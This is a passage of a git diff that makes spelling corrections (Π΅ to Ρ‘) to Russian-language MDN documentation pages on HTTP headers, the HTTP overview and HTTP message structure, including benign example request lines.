@@ -16,7 +16,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/X-Forwarded-For
<p>Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠΉ вСрсиСй этого Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° являСтся HTTP {{HTTPHeader("Forwarded")}} Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ.</p>
-<p><code>X-Forwarded-For</code>Β Β Ρ‚Π°ΠΊΠΆΠ΅ являСтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ, Ρ‡Ρ‚ΠΎ сообщСниС элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи.</p>
+<p><code>X-Forwarded-For</code>Β Β Ρ‚Π°ΠΊΠΆΠ΅ являСтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ, Ρ‡Ρ‚ΠΎ сообщСниС элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½ΠΎ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи.</p>
<table class="properties">
<tbody>
diff --git a/files/ru/web/http/headers/x-xss-protection/index.html b/files/ru/web/http/headers/x-xss-protection/index.html
index 442fe6ab95..7bc5ec770b 100644
--- a/files/ru/web/http/headers/x-xss-protection/index.html
+++ b/files/ru/web/http/headers/x-xss-protection/index.html
@@ -22,7 +22,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/X-XSS-Protection
</tr>
<tr>
<th scope="row">
- <p>Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°</p>
+ <p>Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°</p>
<p>{{Glossary("Forbidden header name")}}</p>
</th>
diff --git a/files/ru/web/http/index.html b/files/ru/web/http/index.html
index aec0b6c893..b1708e5627 100644
--- a/files/ru/web/http/index.html
+++ b/files/ru/web/http/index.html
@@ -10,7 +10,7 @@ translation_of: Web/HTTP
---
<p>{{HTTPSidebar}}</p>
-<p class="summary"><strong>ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ гипСртСкста (<dfn>Hypertext Transfer Protocol -Β HTTP)</dfn></strong>Β - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B_%D0%BF%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D1%8F">ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½ΠΎΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»</a> для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ гипСртСкстовых Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ HTML. Он создан для связи ΠΌΠ΅ΠΆΠ΄Ρƒ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ Π²Π΅Π±-сСрвСрами, хотя Π² ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠ΅ HTTP ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈ для Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ. ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» слСдуСт классичСской <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%B5%D0%BD%D1%82-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">ΠΊΠ»ΠΈΠ΅Π½Ρ‚-сСрвСрной ΠΌΠΎΠ΄Π΅Π»ΠΈ</a>, ΠΊΠΎΠ³Π΄Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ соСдинСниС для создания запроса, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΆΠ΄Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚Π°. HTTP - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%B1%D0%B5%D0%B7_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F">ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Π±Π΅Π· сохранСния состояния</a>, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ сСрвСр Π½Π΅ сохраняСт Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… (состояниС) ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΏΠ°Ρ€Π°ΠΌΠΈ "запрос-ΠΎΡ‚Π²Π΅Ρ‚". НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ HTTP основан Π½Π° TCP/IP, ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» <a href="https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%BD%D1%8B%D0%B9_%D1%83%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C">транспортного уровня</a> с Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ доставкой.</p>
+<p class="summary"><strong>ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ гипСртСкста (<dfn>Hypertext Transfer Protocol -Β HTTP)</dfn></strong>Β - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B_%D0%BF%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D1%8F">ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½ΠΎΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»</a> для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ гипСртСкстовых Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ HTML. Он создан для связи ΠΌΠ΅ΠΆΠ΄Ρƒ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ Π²Π΅Π±-сСрвСрами, хотя Π² ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠ΅ HTTP ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈ для Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ. ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» слСдуСт классичСской <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%B5%D0%BD%D1%82-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">ΠΊΠ»ΠΈΠ΅Π½Ρ‚-сСрвСрной ΠΌΠΎΠ΄Π΅Π»ΠΈ</a>, ΠΊΠΎΠ³Π΄Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ соСдинСниС для создания запроса, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΆΠ΄Ρ‘Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚Π°. HTTP - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%B1%D0%B5%D0%B7_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F">ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» Π±Π΅Π· сохранСния состояния</a>, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ сСрвСр Π½Π΅ сохраняСт Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… (состояниС) ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΏΠ°Ρ€Π°ΠΌΠΈ "запрос-ΠΎΡ‚Π²Π΅Ρ‚". НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ HTTP основан Π½Π° TCP/IP, ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» <a href="https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%BD%D1%8B%D0%B9_%D1%83%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C">транспортного уровня</a> с Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ доставкой.</p>
<div class="column-container">
<div class="column-half">
@@ -69,7 +69,7 @@ translation_of: Web/HTTP
</ul>
<span class="hidden">Β </span><span class="hidden"> </span></dd>
<dt><a href="/en-US/docs/Web/HTTP/Status">ΠšΠΎΠ΄Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚Π° (HTTP response codes)</a></dt>
- <dd>ΠšΠΎΠ΄Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚Π° HTTP ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π½Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎΒ HTTP-запроса. ΠžΡ‚Π²Π΅Ρ‚Ρ‹ сгруппированы Π² ΠΏΡΡ‚ΡŒ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ: ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, ΡƒΠ΄Π°Ρ‡Π½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, пСрСнаправлСния, ошибки ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°Β ΠΈ ошибки сСрвСра.</dd>
+ <dd>ΠšΠΎΠ΄Ρ‹ ΠΎΡ‚Π²Π΅Ρ‚Π° HTTP ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π½Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎΒ HTTP-запроса. ΠžΡ‚Π²Π΅Ρ‚Ρ‹ сгруппированы Π² ΠΏΡΡ‚ΡŒ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ: ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, ΡƒΠ΄Π°Ρ‡Π½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹, пСрСнаправлСния, ошибки ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°Β ΠΈ ошибки сСрвСра.</dd>
<dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Π”ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹ CSP</a></dt>
<dd>Поля Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β ΠΎΡ‚Π²Π΅Ρ‚Π° {{HTTPHeader("Content-Security-Policy")}} ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ администраторам Π²Π΅Π±-сайтов ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ рСсурсы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π½Π° Π΄Π°Π½Π½ΡƒΡŽ Π²Π΅Π±-страницу. Π—Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ, эти ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠΈ связаны с ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ΠΌ сСрвСра-источника ΠΈ адрСсов доступа (обращСния) скриптов.</dd>
</dl>
diff --git a/files/ru/web/http/messages/index.html b/files/ru/web/http/messages/index.html
index e41f8ceecf..2b63856539 100644
--- a/files/ru/web/http/messages/index.html
+++ b/files/ru/web/http/messages/index.html
@@ -36,7 +36,7 @@ translation_of: Web/HTTP/Messages
<h3 id="Бтартовая_строка">Бтартовая строка</h3>
-<p>HTTP запросы - это сообщСния, отправляСмыС ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π΅Π°ΠΊΡ†ΠΈΡŽ со стороны сСрвСра. Π˜Ρ… стартовая строка состоит ΠΈΠ· Ρ‚Ρ€Π΅Ρ… элСмСнтов:</p>
+<p>HTTP запросы - это сообщСния, отправляСмыС ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π΅Π°ΠΊΡ†ΠΈΡŽ со стороны сСрвСра. Π˜Ρ… стартовая строка состоит ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… элСмСнтов:</p>
<ol>
<li>
@@ -44,7 +44,7 @@ translation_of: Web/HTTP/Messages
</li>
<li><em>ЦСль запроса</em>, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ {{glossary("URL")}}, ΠΈΠ»ΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°, ΠΏΠΎΡ€Ρ‚ ΠΈ Π΄ΠΎΠΌΠ΅Π½ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€ΠΈΠ·ΡƒΡŽΡ‚ΡΡ контСкстом запроса. Π€ΠΎΡ€ΠΌΠ°Ρ‚ Ρ†Π΅Π»ΠΈ запроса зависит ΠΎΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ HTTP-ΠΌΠ΅Ρ‚ΠΎΠ΄Π°. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ
<ul>
- <li>ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт <code>'?'</code> ΠΈ строка запроса. Π­Ρ‚ΠΎ самая распространСнная Ρ„ΠΎΡ€ΠΌΠ°, называСмая <em>исходной Ρ„ΠΎΡ€ΠΌΠΎΠΉ</em> (<em>origin form</em>) . Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ с ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ <code>GET</code>, <code>POST</code>, <code>HEAD</code>, ΠΈ <code>OPTIONS</code>.<br>
+ <li>ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт <code>'?'</code> ΠΈ строка запроса. Π­Ρ‚ΠΎ самая распространённая Ρ„ΠΎΡ€ΠΌΠ°, называСмая <em>исходной Ρ„ΠΎΡ€ΠΌΠΎΠΉ</em> (<em>origin form</em>) . Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ с ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ <code>GET</code>, <code>POST</code>, <code>HEAD</code>, ΠΈ <code>OPTIONS</code>.<br>
<code>POST / HTTP 1.1<br>
GET /background.png HTTP/1.0<br>
HEAD /test.html?query=alibaba HTTP/1.1<br>
@@ -53,7 +53,7 @@ translation_of: Web/HTTP/Messages
<code>GET http://developer.mozilla.org/ru/docs/Web/HTTP/Messages HTTP/1.1</code></li>
<li>ΠšΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° URL "authority", состоящая ΠΈΠ· ΠΈΠΌΠ΅Π½ΠΈ Π΄ΠΎΠΌΠ΅Π½Π° ΠΈ (Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ) ΠΏΠΎΡ€Ρ‚Π° (прСдваряСмого символом <code>':'</code>), <em>называСтся authority form</em>. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>CONNECT</code> ΠΏΡ€ΠΈ установкС туннСля HTTP.<br>
<code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li>
- <li>Π€ΠΎΡ€ΠΌΠ° Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠΈ (<em>asterisk form)</em>, просто "Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ°" (<code>'*'</code>) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ OPTIONS</code> ΠΈ прСдставляСт сСрвСр.<br>
+ <li>Π€ΠΎΡ€ΠΌΠ° Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠΈ (<em>asterisk form)</em>, просто "Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ°" (<code>'*'</code>) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ OPTIONS</code> ΠΈ прСдставляСт сСрвСр.<br>
<code>OPTIONS * HTTP/1.1</code></li>
</ul>
</li>
@@ -133,7 +133,7 @@ translation_of: Web/HTTP/Messages
<ul>
<li>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Ρ‚Π΅Π», Π½Π΅ ΡΠΆΠΈΠΌΠ°ΡŽΡ‚ΡΡ.</li>
<li>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ практичСски ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚ Ρƒ ΠΈΠ΄ΡƒΡ‰ΠΈΡ… подряд сообщСний, приходится ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</li>
- <li>ΠœΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠ½ΠΎΡΡ‚ΡŒ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π°. ΠŸΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ΡΡ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ соСдинСниС для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ сообщСния, Π° Ρ‚Π΅ΠΏΠ»Ρ‹Π΅ (warm) соСдинСния TCP эффСктивнСС Ρ…ΠΎΠ»ΠΎΠ΄Π½Ρ‹Ρ… (cold).</li>
+ <li>ΠœΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠ½ΠΎΡΡ‚ΡŒ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π°. ΠŸΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ΡΡ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ соСдинСниС для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ сообщСния, Π° Ρ‚Ρ‘ΠΏΠ»Ρ‹Π΅ (warm) соСдинСния TCP эффСктивнСС Ρ…ΠΎΠ»ΠΎΠ΄Π½Ρ‹Ρ… (cold).</li>
</ul>
<p>HTTP/2 ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ: ΠΎΠ½ Π΄Π΅Π»ΠΈΡ‚ сообщСния HTTP/1.x Π½Π° Ρ„Ρ€Π΅ΠΉΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π½Π΅Π΄Ρ€ΡΡŽΡ‚ΡΡ Π² ΠΏΠΎΡ‚ΠΎΠΊ. Π€Ρ€Π΅ΠΉΠΌΡ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΎΡ‚Π΄Π΅Π»Π΅Π½Ρ‹ Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°, Ρ‡Ρ‚ΠΎ позволяСт ΡΠΆΠΈΠΌΠ°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ. НСсколько ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ - Ρ‚Π°ΠΊΠΎΠΉ процСсс называСтся ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ»Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ - Ρ‡Ρ‚ΠΎ позволяСт Π±ΠΎΠ»Π΅Π΅ эффСктивно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ TCP-соСдинСния.</p>
@@ -144,4 +144,4 @@ translation_of: Web/HTTP/Messages
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>БообщСния HTTP ΠΈΠ³Ρ€Π°ΡŽΡ‚ ΠΊΠ»ΡŽΡ‡Π΅Π²ΡƒΡŽ Ρ€ΠΎΠ»ΡŒ Π² использовании HTTP; ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ структуру ΠΈ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹. ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Ρ„Ρ€Π΅ΠΉΠΌΠΎΠ² Π² HTTP/2 добавляСт Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ синтаксисом HTTP/1.x ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ ΠΈΠΌ транспортным ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ, Π½Π΅ проводя Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ: создаСтся надстройка Π½Π°Π΄ ΡƒΠΆΠ΅ Π·Π°Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π²ΡˆΠΈΠΌΠΈ сСбя ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ.</p>
+<p>БообщСния HTTP ΠΈΠ³Ρ€Π°ΡŽΡ‚ ΠΊΠ»ΡŽΡ‡Π΅Π²ΡƒΡŽ Ρ€ΠΎΠ»ΡŒ Π² использовании HTTP; ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ структуру ΠΈ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹. ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Ρ„Ρ€Π΅ΠΉΠΌΠΎΠ² Π² HTTP/2 добавляСт Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ синтаксисом HTTP/1.x ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ ΠΈΠΌ транспортным ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ, Π½Π΅ проводя Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ: создаётся надстройка Π½Π°Π΄ ΡƒΠΆΠ΅ Π·Π°Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π²ΡˆΠΈΠΌΠΈ сСбя ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ.</p>
